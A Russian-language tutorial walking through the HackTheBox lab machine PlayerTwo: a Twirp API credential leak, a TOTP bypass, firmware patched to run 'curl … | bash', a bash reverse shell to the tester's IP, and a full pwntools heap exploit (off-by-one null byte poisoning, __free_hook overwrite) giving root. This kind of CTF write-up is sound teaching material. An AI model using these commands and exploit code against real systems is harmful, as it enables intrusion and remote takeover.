HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака

  • Tutorial

Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox.

В данной статье работаем с API twirp, обходим двух факторную аутентификацию, модернизируем прошивку и эксплуатируем уязвимость в кучу через атаку null byte poisoning (P.S. про Heap еще можно предварительно почитать здесь).

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.170, который я добавляю в /etc/hosts.

10.10.10.170    playertwo.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.170 --rate=500



Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.

nmap -A playertwo.htb -p22,80,8545



Таким образом, мы имеем SSH и Apache на стандартных портах, и видим сообщение twirp_invalid_route от службы, которая использует 8545 порт. Как обычно в таких случаях, заходим на веб.



Получаем ошибку и контакт, к которому следует обратиться. Давайте добавим данное доменное имя в файл /etc/hosts и повторно зайдем на сайт.

10.10.10.170 player2.htb



И находим ссылку на еще один сайт, а также форму отправки сообщений ниже. Давайте добавим еще одно доменное имя в /etc/hosts и обратимся по данному адресу.

10.10.10.170 product.player2.htb



Попробовав различные базовые техники обхода аутентификации ничего не находим, давайте сканировать директории. Я делаю это с помощью gobuster. В параметрах указываем количество потоков 128 (-t), URL (-u), словарь (-w) и расширения, которые нас интересуют (-x).

gobuster dir -t 128 -u player2.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt



gobuster dir -t 128 -u product.player2.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt



Так conn.php ничего не вернет, скорее всего нужен какой-то параметр. Как правило в директории proto должны находится .proto файлы (можно узнать даже загуглив). Давайте поищем их.

gobuster dir -t 128 -u player2.htb/proto -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x proto



И находим один файл.



Twirp


Таким образом, используется twirp, информацию о котором можно получить на github. В документации находим информацию о путях в twirp и о том, как запрашивать информацию.



Как следует из файла конфигурации и документации, в нашем случае обращаться мы должны по следующему пути:

/twirp/twirp.player2.auth.Auth/GenCreds

Давайте используем curl, как сказано в документации.

curl --request "POST" --location "http://player2.htb:8545/twirp/twirp.player2.auth.Auth/GenCreds" --header "Content-Type:application/json" --data '{}' ; echo



При этом выполнив команду второй раз, получим другие учетные данные.



Для эксперимента я выполнил запрос 10 раз и получил 4 разные пары учетных данных.

for ((i=0; i<10;i++)) do curl --request "POST" --location "http://player2.htb:8545/twirp/twirp.player2.auth.Auth/GenCreds" --header "Content-Type:application/json" --data '{}' ; echo ; done



Таким образом, мы получили учетный данные, при этом существует 4 разных логина и 4 разных пароля, которые в выводе представлены в непонятном перемешанном порядке. Вернемся к авторизации, у нас есть логины и пароли, придется их перебрать. Я буду использовать Burp. Перехватим запрос, отправим в Intruder и настроим соответствующим образом.



Запускаем атаку, сортируем вывод по длине, и получаем валидные пары учетных данных.



Но при попытке авторизоваться, у нас спрашивают OTP (одноразовый пароль)!



Обход 2FA


То есть нам необходимо обойти двух-факторную аутентификацию. В данном случае используется TOTP (Time-based One-time Password).



На данном этапе я застрял и вернулся посмотреть свой to-do лист, чтобы посмотреть, какие варианты я не проверил, и в графе сканирования директорий была не отмечена директория api. Сканирование ничего не дало. Немного погуглив, было найдено несколько примеров работы с /api/totp. Давайте попробуем.



И находим ниточку, за которую можно уцепиться. Давайте выполним тот же запрос в curl.

curl http://product.player2.htb/api/totp --cookie "PHPSESSID=42u8a0kro2kgp4epl6fgj06boe" --header "Content-Type:application/json" ; echo



В ошибке сообщается, что не метод GET не поддерживается, давайте выполним запрос методом POST.

curl -X POST http://product.player2.htb/api/totp --cookie "PHPSESSID=42u8a0kro2kgp4epl6fgj06boe" --header "Content-Type:application/json" --data ; echo



И ошибка меняется. Теперь у нас не валидный action. Давайте отправим запрос с параметром action.

curl -X POST http://product.player2.htb/api/totp --cookie "PHPSESSID=42u8a0kro2kgp4epl6fgj06boe" --header "Content-Type:application/json" --data '{"action": 0}'; echo



И получаем код. И это есть OTP. Вводим его и заходим на сайт.



Просматривая сайт, находим ссылку на документацию.



Откроем и ознакомимся с ней.



Речь идет о прошивке, причем есть ссылка на скачивание и проверку работоспособности.

Entry point


Разархивируем файл прошивки и первым делом посмотрим строки.

strings Protobs.bin



Находим строки с stty, и можно сделать предположение, что программы выполняет эту команду. Можно заменить эту строку на шелл. Давайте найдем местоположение этой строки в файле (-t) в десятичном виде (d).

strings -t d Protobs.bin | grep stty



Создадим файл с командой, которая выполнится на сервере, это будет бэкконнет шелл.

bash -i >& /dev/tcp/10.10.14.37/4321 0>&1

Сделаем так, чтобы при тесте прошивки сервер получал данную команду и передавал ее в bash.

printf "curl 10.10.14.37/rs | bash\x00" > new_cmd

Теперь заменим команду из прошивки на новую команду.

dd if=new_cmd of=Protobs.bin obs=1 seek=8420 conv=notrunc



Снова проверим строки в файле.



Отлично. Запустим локальный веб сервер, упакуем прошивку обратно и загрузим файл на сервер.



И увидим подключение.



USER


Загружаем на хост LinPEAS и проводим перечисление системы. Для себя отмечаем пользователей, которые есть в системе.



Так же отмечаем для себя пользователя, которого необходимо получить.



И из следующей информации отмечаем для себя службу mosquitto.



MQTT — это простой и легкий протокол обмена сообщениями, разработанный для устройств с ограниченными возможностями и сетей с низкой пропускной способностью, высокой задержкой. Принципы проектирования заключаются в том, чтобы минимизировать пропускную способность сети и требования к ресурсам устройства, одновременно пытаясь обеспечить надежность и некоторую степень гарантии доставки сообщения.

Как следует отсюда, аутентификация является необязательной, и даже если аутентификация выполняется, шифрование по умолчанию не используется. То есть выполним MITM атаку, мы можем получить учетные данные в открытом виде. Так же приводится скрипт для подключения и пример работы.



Но на хосте скорее всего не установлены необходимые модули python. Поэтому как работать с MQTT можно посмотреть здесь.

Совместив два источника запросим сообщения по теме “$SYS/#”

mosquitto_sub -h localhost -p 1883 -t '$SYS/#'

И немного подождав, увидим передаваемый SSH ключ.



Сохраняем себе ключ и подключаемся с ним (мы же знаем пользователя).



ROOT


И в домашней директории пользователя находим документ.



Скачиваем, изучаем. Упоминается приложение Protobs. Давайте поищем его в системе.





Таким образом, для приложения выставлен suid бит, в это значит, что оно работает от имени root. Скачиваем на локальную машину приложение и библиотеки. Проверим имеющуюся защиту.



Таким образом, все имеется, кроме PIE. При этом указан RUNPATH, поэтому создадим на локальной машине данную директорию и переместим в нее файлы. Откроем программу в дизассемблере с декомпилятором (я использую IDA Pro), декомпилируем и перейдем в функцию main.



При запуске программы мы получим два сообщения, после чего будет выполнена функция и мы попадаем в бесконечный цикл. Данная фунция нужна для вывода баннера.



Давайте посмотрим функцию в цикле.



Таким образом мы получаем приглашение для ввода и в зависимости от нашего ввода будет выполнена одна из 6 функций. Отметим, что присутствует канарейка (переменная v2). Давайте посмотрим на все функции.



Начинаем с первой и понимаем, что это функция help, которая выводит справку.



Сразу отмечаем, что последняя служит для завершения команды.



При выборе “1” попадаем в функцию, которая выводит конфигурации.



А вот при 2, мы можем их создавать. С данным кодом придется поработать.



В строках 13-15: функция sub_400C8B, на которую мы сразу же попадаем проверяет число конфигураций, и если свободного места для создания новой нет (всего можно создать 14), то функция sub_400C3E выводит ошибку.

В строках 16-18: происходит выделение памяти для новой конфигурации.

В строках 19-30 происходит заполнение полей, строковыми параметрами, которые переводятся в длинное целое числовое значение (кроме имени). Далее происходит заполнение Description. Если мы введем 3, то у нас запросят индекс конфигурации, и отобразят ее.



И при 4 — удаляют указанную конфигурацию.



Стоит обратить внимание на использование функций malloc и free для выделения и освобождения памяти в программе. Это наталкивает на мысль о UAF. Для начала создадим шаблон эксплоита. Мы будем подключаться по SSH и выполнять программу используя pwntools.

#!/usr/bin/python3
from pwn import *

context.log_level = 'error'
binary = ELF('./Protobs')
libc = ELF('./libc.so.6')
remoteShell = ssh(host = 'player2.htb', user='observer', keyfile='./player2.key')
remoteShell.set_working_directory(b'/opt/Configuration_Utility')
p = remoteShell.process(b'./Protobs')
context.log_level = 'info'
log.success("Start exploit")

p.interactive()



Отлично. Теперь давайте реализуем основные функции, которые создают (выделяют память), читают (обращаются к памяти) и и удаляет (освобождает память) конфигурации.

def alloc(size, desc, game=b'', contrast=b'0',gamma=b'0',resX=b'0',resY=b'0',controller=b'0'):
    p.sendlineafter(b"protobs@player2:~$ ", b"2")
    p.sendlineafter(b"]: ", game, timeout=1)
    p.sendlineafter(b"]: ", contrast, timeout=1)
    p.sendlineafter(b"]: ", gamma, timeout=1)
    p.sendlineafter(b"]: ", resX, timeout=1)
    p.sendlineafter(b"]: ", resY, timeout=1)
    p.sendlineafter(b"]: ", controller, timeout=1)
    p.sendlineafter(b"]: ", str(size).encode(), timeout=1)
    if size:
        p.sendlineafter(b"]: ", desc, timeout=1)

def free(index):
    p.sendlineafter(b"protobs@player2:~$ ", b"4")
    p.sendlineafter(b"]: ", str(index).encode(), timeout=1)

def show(index):
    p.sendlineafter(b"protobs@player2:~$ ", b"3")
p.sendlineafter(b"]: ", str(index).encode(), timeout=1)

Чтобы было возможно отладить программу, необходимо немного пропатчить бинарный файл, для использования нужной библиотеки.



patchelf Protobs --set-interpreter /lib64/ld-linux-x86-64.so.2
patchelf Protobs --set-rpath /opt/Configuration_Utility/:/opt/Configuration_Utility/:libc.so.6



Теперь разберемся с UAF.

Память в куче


Сперва стоит разобраться как устроена память, как она выделяется и освобождается. Структура, реализованная в программе, имеет следующий вид (в комментариях указаны размер памяти для каждой переменной):

struct conf{
	char Game[20];				// size 20
	unsigned int Contrast;		// size 4
	unsigned int Gamma;			// size 4
	unsigned int X_Axis;			// size 4
	unsigned int Y_Axis;			// size 4
	unsigned int Controller;		// size 4
	unsigned int Size;			// size 4
	char *Description;			// size 8
}

Почему запрашивается для резервирования 56 байт, если в самой структуре используется 52? Все дело в выравнивании памяти (это я описывал тут). Но это еще не все, кроме того, что нам реально нужно 52 байта, а мы должны выделить 56, функция malloc зарезервирует 64 байта!

Так как выделение памяти будет происходить из неразделенного пространства кучи, то это будет сделано поблочно. Ниже приведены два блока памяти: выделенные и свободный.



Таким образом, сначала размер блока, и флаг U — принимающий значение 1, если блок занят, и 0 — если свободен и доступен для выделения. Далее первые 8 байт свободного блока занимает указатель FP на адрес следующего такого же свободного блока, и вторые 8 байт заняты указателем на предыдущий подобный свободный блок. Вот отсюда и получается 56 + 8 = 64 байта для блока.

Вернемся к функции создания структуры. Если size не равен 0, то снова происходит резервирование памяти функцией malloc.



Таким образом, вслед за нашей структурой, будет расположена переменная desc. И данное высказывание подтверждается на практике — посмотрим кучу при отладке (я использую IDA).



Структура загружена по адресу 0x12a72a0, переменная size по адресу 0x12a72c8, указатель на desc — 0x12a72d0 и сама переменная desc по адресу 0x12a72e0.



Чтобы было удобнее работать, выделим данную структуру и выбираем “Create struct from selection”.



И теперь данные в куче выглядят куда приятнее.



Куда интереснее работает освобождение памяти. Сначала удаляется desc, а потом сама структура.



Дело в том, что при освобождении памяти функция free() запишет вместо данных, расположенных по данному адресу, адрес следующего доступного чанка памяти и предыдущего. Проверим на примере.



Удаление desc: так как рядом нет доступного чанка, то вместо строки desc (по адресу 0x12a72e0) записаны 0 и 0x12a7010. Удаление экземпляра структуры: по адресу структуры (0x12a72a0) записаны адрес доступного чанка 0x12a72e0 (который только что освободила строка desc) и 0x12a7010.



Стоит отметить, что при повторном выделении памяти, будет выделен недавно освободившийся чанк, если он удовлетворяет размеру резервируемой памяти. Разберем почему так.

Здесь уже упоминалось про чанки, но стоит добавить, что их бывает три вида: fast, small и large (разница в объеме памяти). При освобождении, данные чанки будут вставлены в список. Но для чанков разного размера предназначены разные списки, которые могут быть как двусвязными так и линейными. Различают fast, small, large и unsorted списки. Указатели HEAD и TAIL для данных списков хранятся в структуре данных main_arena в libc. При этом есть отличие между fast (mfastbinptr) и остальными списками (small, large и unsorted — mchunkptr).

typedef struct malloc_chunk *mfastbinptr;
mfastbinptr fastbinsY[];

typedef struct malloc_chunk* mchunkptr;
mchunkptr bins[];

Таким образом, libc отслеживает данные указатели, путем размещения их в определенном массиве, в зависимости от размера. Но так как каждая запись в массиве представляет собой список, то первая запись в массиве будет указывать на свободный блок размером 16 байт, вторая — 24 и т.д. Ниже представлены этапы выделения и освобождения памяти для bins и fastbins.



При выделении памяти, мы будем получать чанк с конца списка.



Но для fastbins немного по-другому. Там отсутствуют указатели BK, и списки являются односвязными.



И при выделении памяти мы получим чанк из голову списка.



Heap leak


Первым делом найдем утечку кучи. Это очень легко сделать, если визуализировать кучу. Учитывая все, что было сказано про чанки выше, давайте создадим три экземпляра структуры Conf, тогда при запросе размера desc, укажем такой же, как и у Conf — 48 (+8 для выранивания и +8 для заголовка чанка, итого 64). После создания, очистим память в порядке исходном порядке(порядок заполнения будет обратен порядку очищения памяти, поэтому я пометил очередь освобождения памяти). На рисунке приведено состояние кучи после создания (слева) и после удаления (справа) трех конфигураций.



Теперь, если создать новую конфигурацию, то она займет место последней-удаленной(2) конфигурации. Но исходя из кода, если мы укажем size равным 0, то заполнения desc не произойдет, при этом у нас останется 5 свободных чанков, а desс созданной конфигурации будет содержать адрес Conf1. Таким образом, если мы отобразим созданную конфигурацию, мы отобразим адрес Conf1.

for _ in range(3):
    alloc(0x30, b'A' * 0x20)
for i in range(3):
    free(i)
alloc(0, b''), show(0)
p.recvuntil('[ Description         ]: ')
leak_heap = u64(p.recvline().strip().ljust(8, b'\x00'))
log.success(f"Heap leak address: {hex(leak_heap)}")



Теперь нужно получить базовый адрес libc.

LIBC leak


Но в случае удаления единственного (причем первого) чанка в списке, его указатели на следующие и предыдущий чанки будут указывать на адрес в libc (как следует из программ выше).

Давайте выделим большой объем памяти (в переменной desc, чтобы мы смогли к нему обратиться), тогда после очистки такого чанка, его FD и BK будет хранить не адрес прошлого освобожденного чанка, а, адрес в libc. Повторяя прошлый трюк c освобождением и записью “нулевой” конфигурации, найдем утечку libc. Выделим 0x500 и 0x200 байт под запись в конфигурациях, а затем удалим их в обратном порядке.



После удаления Conf2 произойдет такое распределение: так как desc2 большего размера, но и список того же массива списков, то free запишет не адрес предыдущего освобожденного чанка (desc1 (3)), а 0. В сам Conf2 будет записан адрес предыдущего освобожденного чанка desc1 (3).

После удаления Conf1, по причине указанной выше, в desc1 будет находится адрес из libc. А место освобожденного Conf1 займет адрес предыдущего освобожденного чанка.



Создадим новую “нулевую” конфигурацию, которая будет создана на месте (5) и прочитаем ее, чтобы получить адрес из libc. Данный адрес соответствует смещению 0x70 от __malloc_hook (можно посмотреть в отладчике). Поэтому для нахождения базы libc, из найденного адреса необходимо извлечь (*__malloc_hook + 0x70).

alloc(0x500, b'A' * 0x20), alloc(0x200, b'A' * 0x20)
free(2), free(1)
alloc(0, b''), show(1)
p.recvuntil('[ Description         ]: ')
leak_libc = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leak_libc - (libc.symbols['__malloc_hook'] + 0x70)
log.success(f"LIBC base address: {hex(libc.address)}")



Похоже на правду.

Off-By-One


У нас много выделенной и освобожденной памяти, причем неравномерно. Давайте займем ее всю: чанки Conf мы займем структурами, а чанки desc — записями соответствующего размера, причем в чанке 0x500 поместится 2 таких записи. Таким образом создадим 4 структуры с размером записи 0x200. Есть не распределенные 0xf байт, в ранее выделенных 0x500 байт. Займем их нулевыми структурами. И после максимального резервирования всей памяти, очистим ее.



for _ in range(4):
    alloc(0x200, b'A' * 0x20)
for _ in range(3):
    alloc(0, b'')
for i in range(2,9):
    free(i) 
log.info("Memory cleared")



Переходим к следующему этапу: разберем технику Null Byte Poisoning. Если в куче есть свободный чанк, и следующий чанк сразу после него также свободен, то эти два свободных блока могут быть объединены в больший свободный блок. Мы разобрали, как различаются выделенный и свободный чанк памяти, — так вот данный метод заключается в том, чтобы перезаписать соответствующий флаг занятого чанка, что позволит объединить его с предыдущим свободным чанком!

Для начала определимся с адресом, который мы собираемся контролировать в будущем. В данный момент, последний подконтрольный чанк (1, 4) расположен по адресу 0x18a0 (ориентируемся по своему представлению кучи) и занимает 0x200 байт, то есть следующий чанк будет расположен по адресу 0x1ab0. Вычислим нужный нам адрес из расчета 0x1ab0 + память, выделенная для чанка, который будет относиться к списку ранее не используемого bin’a (к примеру 0x50) + 0x70 + 0x10. Откуда берется 0x70 станет понятнее далее, а 0x10 — как смещения от адреса чанка (как можно заметить в отладчике адрес кучи указан со смещением 0x10 — указатель FD). Таким образом получим адрес 0x1b90. Но мы не знаем конкретного адреса в работающей программе, но зато можно рассчитать его как относительный, так как мы знаем адрес утечки кучи (для нашей модели — это 0x1140). Так мы будем работать с адресом leak_heap+0xa50.

Для выполнения рассматриваемой атаки, нам нужно подделать все атрибуты реальных чанков, то есть самостоятельно разметить память. Адрес, который мы только что рассчитали — это есть указатели FD и BK!

Теперь нужно определиться с размером нового фиктивного чанка. Мы оперировали двумя размера чанков больших чанков: 0x200 и 0x500, тогда тогда исключая prev_size получим 0x1f8 (0x200-0x8) и 0x4f8 (0x500-0x8), при этом, мы собираемся “играть” с меньшим блоком, поэтому извлечем еще 0x70 (уже встречалось): 0x1f8 — 0x70 = 0x198. Таким образом, размер фиктивного чанка 0x198 + 0x35 = 0x1d0. Ниже привожу модель.



Выполнить запись по адресу 0x1ae8 легко, а вот записать данный ранее немного сложнее, так как байт \x00 будет восприниматься как символ окончания строки, но мы можем это использовать. Так если мы очистим память и создадим такой же экземпляр структуры, с таким же размером записи, но запишем 0x37 символов “А”, то на месте 0x38 будет выставлен 0, как символ окончания строки.



Если мы снова воспроизведем те же действия, но запишем 0x36 символов, то 0 будет выставлен на 0x37 месте.



Давайте подобным образом освободим 8 байт для адреса и повторим запись.



И также поступим для записи размера фиктивного чанка.



Ниже привожу реализацию данных действий.

alloc(0x50, b'A'*0x38 + p64(leak_heap+0xa50)), free(2)
for i in range(1, 9):
    alloc(0x50, b'A'*(0x38-i))
    free(2)
alloc(0x50, b'A'*0x30 + p64(leak_heap+0xa50)), free(2)
for i in range(1, 9):
    alloc(0x50, b'A'*(0x30-i))
    free(2)
alloc(0x50, b'A'*0x28 + p64(0x1d0))
log.info("Dummy chunk created")



Таким образом, для нам нужно еще 0x198 байт для полного фиктивного чанка. Создадим три структуры, а потом выполним атаку Off-By-One. У нас есть чанк, размером 0x198 байт, и если длина записи будет больше, то копирование не произойдет. Но на самом деле, функция strlen() при подсчете длины строки не учитывает символ \x00, а функция strcpy() произведет копирование вместе с null-байтом. Таким образом, очистив 0x198 байт и записав 0x198 байт, на самом деле мы запишем еще и 0x199-й символ \x00, изменив служебный байт следующего чанка, отвечающий за распознавание блока, как занятого.



0 перезапишет 1, то есть фактически “освободит” следующий чанк (пометит как свободный).



Но есть еще кое-что. Давайте взглянем на код unlink().

/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                            
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      
      malloc_printerr ("corrupted size vs. prev_size");			      
    FD = P->fd;								      
    BK = P->bk;								      
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      
      malloc_printerr ("corrupted double-linked list");

После фиктивного освобождения памяти, поле, предшествующее размеру следующего чанка должно содержать размер предыдущего чанка, если он свободен. Но в нашем фиктивном чанке этого не проиходит, в этом случае unlink обнаружит повреждение памяти и завершит работу процесса. Таким образом, нам нужно произвести запись выделенного размера в конец 3 записи. После чего удалить очистить 3 и 4 структуры, что образует новый поддельный чанк!



Ниже представлена реализация.

alloc(0x198, b'A' * 0x20), alloc(0x4f0, b'A' * 0x20), alloc(0x210, b'A' * 0x20)
free(3), alloc(0x198, b'A' * 0x198), free(3)
for i in range(1, 9):
    alloc(0x198, b'A'*(0x198 -i))
    free(3)
alloc(0x198, b'A'*0x190 + p64(0x1d0))
free(3), free(4)
log.success("Off-By-One attack complited")



Ошибок не произошло, идем далее.

Heap exploatation


Так у нас осталось 0x30 не размеченных байт после структуры Conf2. Давайте займем их, создав запись размером 0x20 байт. Теперь при выделении памяти, будут заполнять чанки в фиктивном блоке, размером 0x1d0. Давайте выделим три блока по 0x60 байт.



И очистим последние 3 созданные блока.

alloc(0x20, b'A'*0x10), alloc(0x20, b'A'*0x10)
for _ in range(3):
    alloc(0x60,  b'A'*0x30)
for i in range(6,9):
    free(i)
log.info("Realloc memory")

Но выделив 0x198 мы все равно сможем обратиться к чанку по адресу 0x1b10, так как указатель на него будет в соответствующем списке, давайте запишем в бывший чанк desc8 адрес __free_hook. Для этого его следует записать по смещению 0x60+0x10+0x60+0x10.



Но чанк desc8 будет фигурировать еще и вписке с чанками, размером 0x60, для этого извлечем данный чанк из этого списка, создав пустую запись. И затем создадим запись, содержащую адрес функции system.



И теперь создадим нулевую конфигурацию, содержащую в качестве строки game, строку-параметр функции system — /bin/sh. И при удалении данной конфигурации произойдет передача управления на адрес функции system с параметром /bin/sh!

alloc(0x198, b'A' * (0x60 + 0x70 + 0x10) + p64(libc.symbols['__free_hook']))
alloc(0x60, '')
alloc(0x60, p64(libc.symbols['system']))
alloc(0, '', game=b'/bin/sh\x00')
free(9)
p.recv(), p.sendline('id')

Полный код привожу ниже.







И у нас есть root.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
AdBlock похитил этот баннер, но баннеры не зубы — отрастут

Подробнее
Реклама

Комментарии 4

    0
    Очень крутой разбор, спасибо! А сколько времени занял реверсинжениринг программы и получение рута?
      0
      Написание эксплоита заняло значительное время. Данным материалом я не владел, поэтому пришлось разбираться походу. На решение машины и написание статьи ушло около двух недель.
        0
        Спасибо большое! А то по уровню сложности похоже на OSWE/OSCE)
          0

          Не знаю, мне кажется там полегче машины, чем на ХТБ)

    Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

    Самое читаемое